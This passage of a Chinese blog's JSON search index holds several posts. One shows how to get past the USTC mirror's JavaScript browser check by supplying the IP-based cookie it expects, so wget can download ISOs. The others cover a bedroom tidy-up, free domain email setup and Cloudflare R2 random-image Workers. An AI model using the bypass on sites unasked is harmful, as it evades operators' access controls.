\u0026#34;https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso\u0026#34; --2025-04-04 14:59:24-- https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso Resolving mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)... 2001:da8:d800:95::110, 202.141.176.110 Connecting to mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)|2001:da8:d800:95::110|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 3994091520 (3.7G) [application/octet-stream] Saving to: ‘debian-12.10.0-amd64-DVD-1.iso.2’ debian-12.10.0-amd64-DVD-1.iso.2- 5%[\u0026gt; ] 207.26M 72.9MB/s ","permalink":"https://blog.2x.nz/posts/bypass-ustc-verifying/","summary":"\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003cp\u003e当我们去下载类似于 \u003ca href=\"https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso\"\u003ehttps://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso\u003c/a\u003e 这样的大文件时，USTC大概率会给你一个这样的：正在验证你的浏览器 的页面\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/bypass-ustc-verifying/img/58e8e41a-0755-4e6a-ab1e-a9dbaa1042d5.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e如果你正在使用一个浏览器，比如Chrome、FireFox等，那过几秒你就能看到文件被成功开始下载\u003c/p\u003e\n\u003cp\u003e但是，如果你正在使用wget等无JS特性的工具下载这类文件，你将会被网站服务器拒绝： \u003cstrong\u003eERROR 403: Forbidden.\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e~# wget https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e--2025-04-04 14:44:13--  https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eResolving mirrors.ustc.edu.cn \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003emirrors.ustc.edu.cn\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e... 2001:da8:d800:95::110, 202.141.176.110\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eConnecting to mirrors.ustc.edu.cn \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003emirrors.ustc.edu.cn\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e|2001:da8:d800:95::110|:443... connected.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHTTP request sent, awaiting response... \u003cspan style=\"color:#ae81ff\"\u003e403\u003c/span\u003e Forbidden\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e2025-04-04 14:44:14 ERROR 403: Forbidden.\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e在之前，如果我想要下载这类文件我都会使用浏览器去下载，但是今天我在向我的朋友对这件事发牢骚的时候他跟我说他绕过了\u003c/p\u003e\n\u003cp\u003e于是我便想深挖一下，然后发现其实根本不是什么JS验证！！！\u003c/p\u003e\n\u003ch1 id=\"分析\"\u003e分析\u003c/h1\u003e\n\u003cp\u003e让我们首先打开这类链接，然后查询网页源代码\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u0026lt;\u003cspan style=\"color:#f92672\"\u003eh1\u003c/span\u003e\u0026gt;Verifying your browser\u0026lt;/\u003cspan style=\"color:#f92672\"\u003eh1\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u0026lt;\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e\u0026gt;Additional verification is required for this file you requested.\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u0026lt;\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e\u0026gt;This page requires JavaScript. Please wait for a few seconds.\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u0026lt;\u003cspan style=\"color:#f92672\"\u003ediv\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eclass\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;footer\u0026#34;\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u0026lt;\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e\u0026gt;Your IP address is 2409:8a30:320:6480:1c6e:aab8:b415:c4fa\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ediv\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u0026lt;\u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\tdocument.\u003cspan style=\"color:#a6e22e\"\u003ecookie\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;addr=2409:8a30:320:6480:1c6e:aab8:b415:c4fa; max-age=300\u0026#34;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#a6e22e\"\u003esetTimeout\u003c/span\u003e(\u003cspan style=\"color:#66d9ef\"\u003efunction\u003c/span\u003e () {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\t\u003cspan style=\"color:#a6e22e\"\u003elocation\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003ereload\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t}, \u003cspan style=\"color:#ae81ff\"\u003e2000\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u0026lt;/\u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e你会发现，代码其实非常简洁干练，如果你的浏览器支持JavaScript，浏览器则会将 \u003ccode\u003eaddr=2409:8a30:320:6480:1c6e:aab8:b415:c4fa\u003c/code\u003e这一串内容写入你的Cookie，之后等待两秒重载页面，然后网站发现你携带了这个Cookie，就会让你成功下载了。反之，如果你的浏览器不支持JavaScript，就会触发403，导致无法下载\u003c/p\u003e","title":"绕过USTC的浏览器JS验证"},{"content":"前言 我的卧室曾经是这样的，如你所见，非常杂乱且布线乱七八糟\n契机 今天早上起来我灵机一动，想着要不要整理一下，于是变成了\n结束咯~\n","permalink":"https://blog.2x.nz/posts/reset-bedroom/","summary":"\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003cp\u003e我的卧室曾经是这样的，如你所见，非常杂乱且布线乱七八糟\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/reset-bedroom/img/0c47e9a6-1544-4410-94d4-d319ea12ca70.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"契机\"\u003e契机\u003c/h1\u003e\n\u003cp\u003e今天早上起来我灵机一动，想着要不要整理一下，于是变成了\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/reset-bedroom/img/a4db38f0-5a54-4e6c-8392-2375d775f7c6.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e结束咯~\u003c/p\u003e","title":"卧室布局整改记录"},{"content":"引言 最早我开始知道域名邮箱是因为偶然在一位我朋友的开发群内看到他的微软账户绑定的邮箱是admin@他网站的域名.com。\n我当时就很好奇，就去问他你这个邮箱是自建的吗？\n因为我当时也知道可以通过购买VPS然后配上一些开源邮局框架来自建邮箱，但是这需要金钱和时间成本，而且我认为不大稳定，所以一直就没有试过。\n然后他说他用的是Cloudflare的邮件转发服务。但是因为是转发，如果你想要以域名邮箱的身份发邮件就需要费一番周折，这也太割裂了。\n于是发现了网易免费企业邮和腾讯企业邮箱，可以免费绑定你的域名用作域名邮箱，既能收，也能发。\n方案对比 网易免费企业邮 腾讯企业邮箱 开启SMTP/IMAP ⭐⭐ 较麻烦，有坑 ⭐⭐⭐⭐⭐ 简单直接 稳定性 ⭐⭐⭐ 较老牌 ⭐⭐⭐⭐⭐ 大厂背书 推荐程度 不推荐 推荐 方案一：腾讯企业邮箱（推荐） 正式开始 首先进入 腾讯企业邮箱 创建一个企业，会让你绑定企业微信，按照步骤弄好就行\n接下来绑定域名，添加几条MX记录即可\n开启SMTP/IMAP/POP3 我们需要前往 腾讯企业邮箱-登录入口\n注意，这里点击 其他方式登录\n然后选择账号密码登录\n接着选择成员登录（如果直接进去了就跳过这一步）\n接下来左上角点击设置\n收发信设置\n这里就能查看到SMTP和IMAP的地址和端口（实测TLS也是支持的，只是它没写）\n生成客户端密码 接下来前往邮箱绑定\n生成新密码\n方案二：网易免费企业邮 注意：网易企业邮存在一些问题，SMTP/IMAP/POP3默认是关的，你想打开就弹出一个 管理员未开启当前登录权限，体验较差，更推荐使用腾讯企业邮箱。\n创建账号并配置管理员 首先前往 网易免费企业邮箱 创建一个账号。直接用手机号注册\n注意，注册完毕后登录账户名和登录密码会通过短信发给你，然后前往 https://mail.qiye.163.com/ 进行登录\n如果你不喜欢系统随机生成的密码，可以先点击忘记密码，然后填写账户名，验证绑定的手机号后即可重置密码\n登陆进去后大概是这样\n如果你不喜欢你的账户名，比如我的就是 erchashush @acofork.freeqiye.com，这个erchashush其实是可以更改的\n在组织机构管理中点击账号管理，选择新建账号\n然后写一个你想要的别名。绑定手机填你的，因为第一次登录需要验证码验证，如果填错了直接删除即可\n然后我们需要给这个新账号提权，如果你想用superadmin登录后台的话\n接着右上角退出登录，然后使用新创建的管理员账户登录\n绑定你的域名 前往组织机构管理 - 域名管理 - 添加域名\n根据提示在你的域名提供商（比如Cloudflare）配置TXT记录和MX记录即可\n登录你的邮箱 前往 网易邮箱大师-高效强大的全平台邮箱客户端 下载对应的版本\n使用你的邮箱 + 密码进行登录即可。如果需要手机验证验证即可。最好下载一个手机端的网易邮箱大师，在手机端登录后任何其他平台登录都会需要手机端授权，更安全\n效果展示 签名和发件人头像可以通过手机的网易邮箱大师设置\n","permalink":"https://blog.2x.nz/posts/domain-email/","summary":"\u003ch1 id=\"引言\"\u003e引言\u003c/h1\u003e\n\u003cp\u003e最早我开始知道域名邮箱是因为偶然在一位我朋友的开发群内看到他的微软账户绑定的邮箱是admin@他网站的域名.com。\u003c/p\u003e\n\u003cp\u003e我当时就很好奇，就去问他你这个邮箱是自建的吗？\u003c/p\u003e\n\u003cp\u003e因为我当时也知道可以通过购买VPS然后配上一些开源邮局框架来自建邮箱，但是这需要金钱和时间成本，而且我认为不大稳定，所以一直就没有试过。\u003c/p\u003e\n\u003cp\u003e然后他说他用的是Cloudflare的邮件转发服务。但是因为是转发，如果你想要以域名邮箱的身份发邮件就需要费一番周折，这也太割裂了。\u003c/p\u003e\n\u003cp\u003e于是发现了网易免费企业邮和腾讯企业邮箱，可以免费绑定你的域名用作域名邮箱，既能收，也能发。\u003c/p\u003e\n\u003ch1 id=\"方案对比\"\u003e方案对比\u003c/h1\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e\u003c/th\u003e\n          \u003cth\u003e网易免费企业邮\u003c/th\u003e\n          \u003cth\u003e腾讯企业邮箱\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e开启SMTP/IMAP\u003c/td\u003e\n          \u003ctd\u003e⭐⭐ 较麻烦，有坑\u003c/td\u003e\n          \u003ctd\u003e⭐⭐⭐⭐⭐ 简单直接\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e稳定性\u003c/td\u003e\n          \u003ctd\u003e⭐⭐⭐ 较老牌\u003c/td\u003e\n          \u003ctd\u003e⭐⭐⭐⭐⭐ 大厂背书\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e推荐程度\u003c/td\u003e\n          \u003ctd\u003e不推荐\u003c/td\u003e\n          \u003ctd\u003e推荐\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch1 id=\"方案一腾讯企业邮箱推荐\"\u003e方案一：腾讯企业邮箱（推荐）\u003c/h1\u003e\n\u003ch2 id=\"正式开始\"\u003e正式开始\u003c/h2\u003e\n\u003cp\u003e首先进入 \u003ca href=\"https://work.weixin.qq.com/mail/\"\u003e腾讯企业邮箱\u003c/a\u003e 创建一个企业，会让你绑定企业微信，按照步骤弄好就行\u003c/p\u003e\n\u003cp\u003e接下来绑定域名，添加几条MX记录即可\u003c/p\u003e\n\u003ch2 id=\"开启smtpimappop3\"\u003e开启SMTP/IMAP/POP3\u003c/h2\u003e\n\u003cp\u003e我们需要前往 \u003ca href=\"https://exmail.qq.com/login\"\u003e腾讯企业邮箱-登录入口\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e注意，这里点击 \u003ccode\u003e其他方式登录\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/domain-email/img/2025-05-02-20-57-24-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e然后选择账号密码登录\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/domain-email/img/2025-05-02-20-57-44-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接着选择成员登录（如果直接进去了就跳过这一步）\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/domain-email/img/2025-05-02-20-59-22-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接下来左上角点击设置\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/domain-email/img/2025-05-02-21-00-08-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e收发信设置\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/domain-email/img/2025-05-02-21-00-31-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e这里就能查看到SMTP和IMAP的地址和端口（实测TLS也是支持的，只是它没写）\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/domain-email/img/2025-05-02-21-01-07-image.webp\"\u003e\u003c/p\u003e\n\u003ch2 id=\"生成客户端密码\"\u003e生成客户端密码\u003c/h2\u003e\n\u003cp\u003e接下来前往邮箱绑定\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/domain-email/img/2025-05-02-21-01-36-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e生成新密码\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/domain-email/img/2025-05-02-21-01-57-image.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"方案二网易免费企业邮\"\u003e方案二：网易免费企业邮\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e注意：网易企业邮存在一些问题，SMTP/IMAP/POP3默认是关的，你想打开就弹出一个 \u003ccode\u003e管理员未开启当前登录权限\u003c/code\u003e，体验较差，更推荐使用腾讯企业邮箱。\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"创建账号并配置管理员\"\u003e创建账号并配置管理员\u003c/h2\u003e\n\u003cp\u003e首先前往 \u003ca href=\"https://ym.163.com/\"\u003e网易免费企业邮箱\u003c/a\u003e 创建一个账号。直接用手机号注册\u003c/p\u003e\n\u003cp\u003e注意，注册完毕后登录账户名和登录密码会通过\u003cstrong\u003e短信\u003c/strong\u003e发给你，然后前往 \u003ca href=\"https://mail.qiye.163.com/\"\u003ehttps://mail.qiye.163.com/\u003c/a\u003e 进行登录\u003c/p\u003e\n\u003cp\u003e如果你不喜欢系统随机生成的密码，可以先点击忘记密码，然后填写账户名，验证绑定的手机号后即可重置密码\u003c/p\u003e\n\u003cp\u003e登陆进去后大概是这样\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/domain-email/img/65e5b400-96d7-44c6-b16e-a7a409104c3c.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e如果你不喜欢你的账户名，比如我的就是 \u003cstrong\u003eerchashush\u003c/strong\u003e @acofork.freeqiye.com，这个erchashush其实是可以更改的\u003c/p\u003e\n\u003cp\u003e在组织机构管理中点击账号管理，选择新建账号\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/domain-email/img/a20e7931-c460-4134-b1b0-0fee82f8a7fc.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e然后写一个你想要的别名。绑定手机填你的，因为第一次登录需要验证码验证，如果填错了直接删除即可\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/domain-email/img/b9ac287d-ff90-4f8c-88ba-0d7bb1588f1c.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e然后我们需要给这个新账号提权，如果你想用superadmin登录后台的话\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/domain-email/img/6f21feca-984d-444e-b80f-bf1a28e4cf79.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接着右上角退出登录，然后使用新创建的管理员账户登录\u003c/p\u003e","title":"自建邮局太麻烦？两种免费域名邮箱方案任你选！"},{"content":"结果图 原理 图源由 Cloudflare R2 托管，通过两个 Workers 连接 R2 以展示随机横屏/竖屏图片，静态页面引用 Workers 的 URL 以实现以上界面\n创建 Cloudflare R2 存储桶 R2 实际上是一个对象存储。Cloudflare 提供 10G 的免费存储和每月 1000 万次的免费访问\n进入Cloudflare 仪表盘，进入 R2 页面，如图\n选择创建存储桶\n为你的存储桶起一个名字，然后单击创建\n进入如下页面就已经创建完毕了\n返回 R2 首页。因为在下文我们需要使用 API 来进行文件传输，所以需要创建你的 R2 API 令牌，单击管理 R2 API 令牌\n单击创建 API 令牌，如图\n因为我们需要该 API 来管理单个 R2 存储桶，所以选择对象读和写，详细配置如图\n创建 API 令牌后，新页面会展示令牌的详细信息，仅会展示一次！！！ 保持这个页面，直到你将该页面的所有信息都已经妥善保存，不要关闭界面，否则，你需要轮转 API 令牌以禁用之前的旧密钥，如图\n确保你已经妥善保存你的 R2 API 令牌，然后进行下一步\n为你的存储桶添加文件 因为 Web 界面传输文件较慢且不支持传输大于 300MB 的文件。这里使用本地部署 AList 然后连接你的 R2 存储桶实现高速上传\n笔者使用 Windows。前往AList - Github Release下载适用于 Windows 的最新可执行文件，如图\n将下载的压缩包解压，并将其中的alist.exe放入一个空文件夹\n单击搜索框，输入 cmd 并回车，如图\n在 cmd 中输入alist.exe server并且不要关闭窗口，运行成功后如图\n打开浏览器，输入localhost:5244即可进入 AList 控制台，如图\n用户名：admin密码：在cmd窗口中，如图。你可以使用鼠标左键在终端中框选内容然后单击鼠标右键进行复制操作\n注意，在 cmd 中，鼠标左键点击或拖动 cmd 的终端界面会导致进入选择状态，程序将会被系统阻塞，需要在终端界面点按鼠标右键解除。若进程被阻塞，cmd 的进程名会多一个选择，请注意。如图是程序被阻塞的例子，在终端界面点按鼠标右键即可解除 现在，你已经成功以管理员身份登入了 AList单击最下面的管理\n你会进入到如图界面。尽管 AList 运行在本地，也建议更改你的用户名和密码\n更改账密，重新以新账密登录\n进入控制台，然后单击存储，如图\n选择添加，如图\n详细配置如图。挂载路径即 AList 展示路径，推荐使用/R2/你的存储桶名字，地区为auto回到主页，如图\n尝试上传文件，如图\n可以看到，速度非常快\n为你的图床创建目录以分类横屏和竖屏图等，以便下文使用 Workers 连接 R2 来调用。后文我将使用R2的/ri/h 路径作为横屏随机图目录、/ri/v 路径作为竖屏随机图目录\n创建 Workers，连接 R2 进入Cloudflare 仪表盘，进入 Workers 和 Pages 页面，如图\n单击创建，选择创建 Workers，名称自取，单击部署\n选择编辑代码\n粘贴代码（创建随机横屏图）：\n新代码：\nexport default { async fetch(request, env, ctx) { const bucket = env.MY_BUCKET; const url = new URL(request.url); const hostname = url.hostname; // 初始化prefix let prefix = \u0026#39;\u0026#39;; // 根据域名判断prefix if (hostname === \u0026#39;hpic.072103.xyz\u0026#39; || hostname === \u0026#39;api-hpic.072103.xyz\u0026#39;) { prefix = \u0026#39;ri/h/\u0026#39;; } else if (hostname === \u0026#39;vpic.072103.xyz\u0026#39; || hostname === \u0026#39;api-vpic.072103.xyz\u0026#39;) { prefix = \u0026#39;ri/v/\u0026#39;; } else { return new Response(\u0026#39;Invalid domain\u0026#39;, { status: 400 }); } try { // 如果是API域名，只返回数量 if (hostname.startsWith(\u0026#39;api-\u0026#39;)) { const objects = await bucket.list({ prefix: prefix }); const count = objects.objects.length; const headers = new Headers({ \u0026#39;Access-Control-Allow-Origin\u0026#39;: \u0026#39;*\u0026#39;, \u0026#39;Content-Type\u0026#39;: \u0026#39;text/plain\u0026#39; }); return new Response(count.toString(), { headers }); } // 原有的随机图片逻辑 const objects = await bucket.list({ prefix: prefix }); const items = objects.objects; if (items.length === 0) { return new Response(\u0026#39;No images found\u0026#39;, { status: 404 }); } const randomItem = items[Math.floor(Math.random() * items.length)]; const object = await bucket.get(randomItem.key); if (!object) { return new Response(\u0026#39;Image not found\u0026#39;, { status: 404 }); } const headers = new Headers(); headers.set(\u0026#39;Content-Type\u0026#39;, object.httpMetadata.contentType || \u0026#39;image/jpeg\u0026#39;); return new Response(object.body, { headers }); } catch (error) { console.error(\u0026#39;Error:\u0026#39;, error); return new Response(\u0026#39;Internal Server Error\u0026#39;, { status: 500 }); } }, }; 旧代码：\nexport default { async fetch(request, env, ctx) { // R2 bucket 配置 const bucket = env.MY_BUCKET; try { // 列出 /ri/h 目录下的所有对象 const objects = await bucket.list({ prefix: \u0026#39;ri/h/\u0026#39; }); // 从列表中随机选择一个对象 const items = objects.objects; if (items.length === 0) { return new Response(\u0026#39;No images found\u0026#39;, { status: 404 }); } const randomItem = items[Math.floor(Math.random() * items.length)]; // 获取选中对象 const object = await bucket.get(randomItem.key); if (!object) { return new Response(\u0026#39;Image not found\u0026#39;, { status: 404 }); } // 设置适当的 Content-Type const headers = new Headers(); headers.set(\u0026#39;Content-Type\u0026#39;, object.httpMetadata.contentType || \u0026#39;image/jpeg\u0026#39;); // 返回图片内容 return new Response(object.body, { headers }); } catch (error) { console.error(\u0026#39;Error:\u0026#39;, error); return new Response(\u0026#39;Internal Server Error\u0026#39;, { status: 500 }); } }, }; 点击左侧的文件图标\n在wrangler.toml中填入：\n[[r2_buckets]] binding = \u0026#34;MY_BUCKET\u0026#34; bucket_name = \u0026#34;114514\u0026#34; 保存修改，点击右上角的部署\n在设置 - 变量找到 R2 存储桶绑定，添加你的存储桶，变量名即上文的MY_BUCKET\n在设置 - 触发器添加你的自定义域名以便访问\n访问效果，每次刷新都不一样\n通过使用 HTML 的 \u0026lt;img\u0026gt; 标签引用即可达到开头的效果 如：\u0026lt;img src=\u0026quot;你的域名\u0026quot; alt=\u0026quot;\u0026quot;\u0026gt; ","permalink":"https://blog.2x.nz/posts/cf-randompic/","summary":"\u003ch3 id=\"结果图\"\u003e\u003cstrong\u003e结果图\u003c/strong\u003e\u003c/h3\u003e\n\u003cp\u003e\u003cimg alt=\"QmVgqgoC7G8NLS21WvR8j9gf5amu33XvuV68ZrgM5B9iFf.webp\" loading=\"lazy\" src=\"/posts/cf-randompic/img/408795f3ec1a5a9baf91b6cd7564d6f1d7dbc5bd.webp\"\u003e\u003c/p\u003e\n\u003ch3 id=\"原理\"\u003e\u003cstrong\u003e原理\u003c/strong\u003e\u003c/h3\u003e\n\u003cp\u003e图源由 Cloudflare R2 托管，通过两个 Workers 连接 R2 以展示随机横屏/竖屏图片，静态页面引用 Workers 的 URL 以实现以上界面\u003c/p\u003e\n\u003ch3 id=\"创建-cloudflare-r2-存储桶\"\u003e\u003cstrong\u003e创建 Cloudflare R2 存储桶\u003c/strong\u003e\u003c/h3\u003e\n\u003cp\u003eR2 实际上是一个对象存储。Cloudflare 提供 10G 的免费存储和每月 1000 万次的免费访问\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e进入\u003ca href=\"https://dash.cloudflare.com/\"\u003eCloudflare 仪表盘\u003c/a\u003e，进入 R2 页面，如图\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"QmU7u2JHUcevyHnwsCdAZfs7X7Fcdh3KJhn6eoy24Q5dGC.webp\" loading=\"lazy\" src=\"/posts/cf-randompic/img/0ffb86d36ab0f3fcc24ef7b3d64c4bc72b6b53e7.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e选择创建存储桶\u003cimg alt=\"QmX3eCaCVEgE8AN29D9t2VpQ5t5SrZGKb8EcZv9oKpCqf2.webp\" loading=\"lazy\" src=\"/posts/cf-randompic/img/26d3b3e26b9e2f641a2eea98c2ddb8891a0b7f6a.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e为你的存储桶起一个名字，然后单击创建\u003cimg alt=\"QmVad5eoJCLpSNZ4HCvTPJfD8rpg4aePMzZ7j2DZATn1XD.webp\" loading=\"lazy\" src=\"/posts/cf-randompic/img/7fa96a023d7969ab168d467ab6d05646e5241884.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e进入如下页面就已经创建完毕了\u003cimg alt=\"QmSdzwBJpw2L4a8LJ3eM3VMJs3d5oV5iFCxCMtv69VZmYH.webp\" loading=\"lazy\" src=\"/posts/cf-randompic/img/719f2dfe59c73fa820ffc6cc2d9749ca14b9bece.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e返回 R2 首页。因为在下文我们需要使用 API 来进行文件传输，所以需要创建你的 R2 API 令牌，单击管理 R2 API 令牌\u003cimg alt=\"QmbS8zjJTESwsmycKBSC9kmabAA9dtSCUX8nbUDWg4BWRX.webp\" loading=\"lazy\" src=\"/posts/cf-randompic/img/9b1a338acae642ce7ce71dd41454903b1cfeafd0.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e单击创建 API 令牌，如图\u003cimg alt=\"QmPzJEHVAm4z3S1SHY4k99TugrPyTB9DXpyRR8Loj22bz3.webp\" loading=\"lazy\" src=\"/posts/cf-randompic/img/9512f23e08a60948e721848118f5eb096449909b.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e因为我们需要该 API 来管理单个 R2 存储桶，所以选择\u003cstrong\u003e对象读和写\u003c/strong\u003e，详细配置如图\u003cimg alt=\"QmNY9p8hksi18B9R8TVfdGgu336oQ3cPmghyfYXE9CDGD4.webp\" loading=\"lazy\" src=\"/posts/cf-randompic/img/0361e2b00351559eaebb18f3e6bb15a94b8578e9.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e创建 API 令牌后，新页面会展示令牌的详细信息，\u003cstrong\u003e仅会展示一次！！！\u003c/strong\u003e 保持这个页面，直到你将该页面的所有信息都已经妥善保存，不要关闭界面，否则，你需要轮转 API 令牌以禁用之前的旧密钥，如图\u003cimg alt=\"QmZTUwbycqbJhVP6PatD3psYy7ej9PDDoiXbmDWoakPhwx.webp\" loading=\"lazy\" src=\"/posts/cf-randompic/img/f4214f6fdf67fa7bf694d0a1501ecc21aef45a90.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e确保你已经妥善保存你的 R2 API 